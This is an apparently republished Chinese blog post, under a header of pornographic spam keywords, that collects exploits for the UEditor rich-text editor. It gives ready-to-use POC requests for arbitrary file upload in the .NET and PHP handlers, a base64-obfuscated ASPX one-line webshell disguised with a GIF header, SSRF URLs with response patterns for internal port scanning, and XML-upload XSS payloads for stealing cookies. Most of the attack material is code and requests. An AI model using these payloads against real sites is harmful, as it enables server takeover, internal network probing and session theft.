日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

UEditor漏洞

發布時間:2024/8/1 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 UEditor漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

UEditor是由百度開發的開源富文本編輯器,開源基于BSD協議,小巧靈活,使用簡單,有很多web程序在使用UEditor編輯器。
github下載地址

1.文件上傳漏洞

該任意文件上傳漏洞存在于1.4.3.31.5.01.3.6版本中,并且只有**.NET**版本受該漏洞影響。黑客可以利用該漏洞上傳木馬文件,執行命令控制服務器。

ueditor中已經下架.net版本,但歷史版本中可以下載1.4.3版本,但是否是1.4.3.3目前還沒驗證。

*該漏洞是由于上傳文件時,使用的CrawlerHandler類未對文件類型進行檢驗,導致了任意文件上傳。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一個能正確解析的域名。而1.5.0用IP和普通域名都可以。*相對來說1.5.0版本更加容易觸發此漏洞;而在1.4.3.3版本中攻擊者需要提供一個正常的域名地址就可以繞過判斷;

首先1.5.0版本進行測試,需要先在外網服務器上傳一個圖片木馬,比如:1.jpg/1.gif/1.png都可以,下面x.x.x.x是外網服務器地址,source[]參數值改為圖片木馬地址,并在結尾加上“?.aspx”即可getshell,利用POC:

POST /ueditor/net/controller.ashx?action=catchimagesource%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx


復現成功會返回路徑信息,可以看到木馬已經成功被傳上去了。

然后是1.4.3.3 .net版
本地構造一個html,因為不是上傳漏洞所以enctype 不需要指定為multipart/form-data , 之前見到有poc指定了這個值。完整的poc如下”

<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr: <input type="text" name="source[]" /></p ><input type="submit" value="Submit" /></form>

需準備一個圖片馬兒,遠程shell地址需要指定擴展名為 1.gif?.aspx
一句話木馬:密碼:hello

GIF89a <script runat="server" language="JScript">function popup(str) {var q = "u";var w = "afe";var a = q + "ns" + w; var b= eval(str,a); return(b);} </script> <% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

成功后,會返回馬兒地址。

1.3.6的版本使用截斷的方式,可實現上傳


PHP版本的文件上傳

直接貼Poc

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 222 Cache-Control: max-age=0 Origin: null Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 ———WebKitFormBoundaryDMmqvK6b3ncX4xxA Content-Disposition: form-data; name="fuck"; filename="fuck.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

shell路徑由CONFIG[imagePathFormat]=ueditor/php/upload/fuck決定

http://localhost/ueditor/php/upload/fuck.php

2.SSRF漏洞

該漏洞存在于1.4.3的jsp版本中。但1.4.3.1版本已經修復了該漏洞。

Poc如下,同樣是該controller文件,構造source參數,即可進行內網相關端口探測。

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

這里可以根據頁面返回的結果不同,來判斷該地址對應的主機端口是否開放。可以總結為以下幾點:

  • 如果抓取不存在的圖片地址時,頁面返回{“state”: “SUCCESS”, list:
    [{“state”:"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state為“遠程連接出錯”。
  • 如果成功抓取到圖片,頁面返回{“state”: “SUCCESS”, list: [{“state”:
    “SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”:“1527173588127099881.png”,“url”:"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"}
    ]},即state為“SUCCESS”。
  • 如果主機無法訪問,頁面返回{“state”:“SUCCESS”, list: [{“state”:
    “\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]},即state為“抓取遠程圖片失敗”。

還有一個版本的ssrf漏洞 ,存在于onethink 1.0中的ueditor,測試版本為1.2直接貼Poc

POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1Host: targetUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 37Connection: keep-aliveupfile=https://www.google.com/?%23.jpg

3.Upload XSS

XML_XSS:

<html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html>盲打Cookie、src=""<something:script src="" xmlns:something="http://www.w3.org/1999/xhtml"></something:script>

Ueditor 默認支持上傳 xml :config.json可以查看支持上傳的后綴

/ueditor/asp/config.json /ueditor/net/config.json /ueditor/php/config.json /ueditor/jsp/config.json

上傳文件路徑

/ueditor/index.html /ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile/ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile/ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage/ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimage

上傳圖片、抓取數據包


修改URL、和上傳的文件

瀏覽觸發

列出已經上傳的文件

/ueditor/net/controller.ashx?action=listfile /ueditor/net/controller.ashx?action=listimage

參考文章:https://paper.seebug.org/606/

總結

以上是生活随笔為你收集整理的UEditor漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。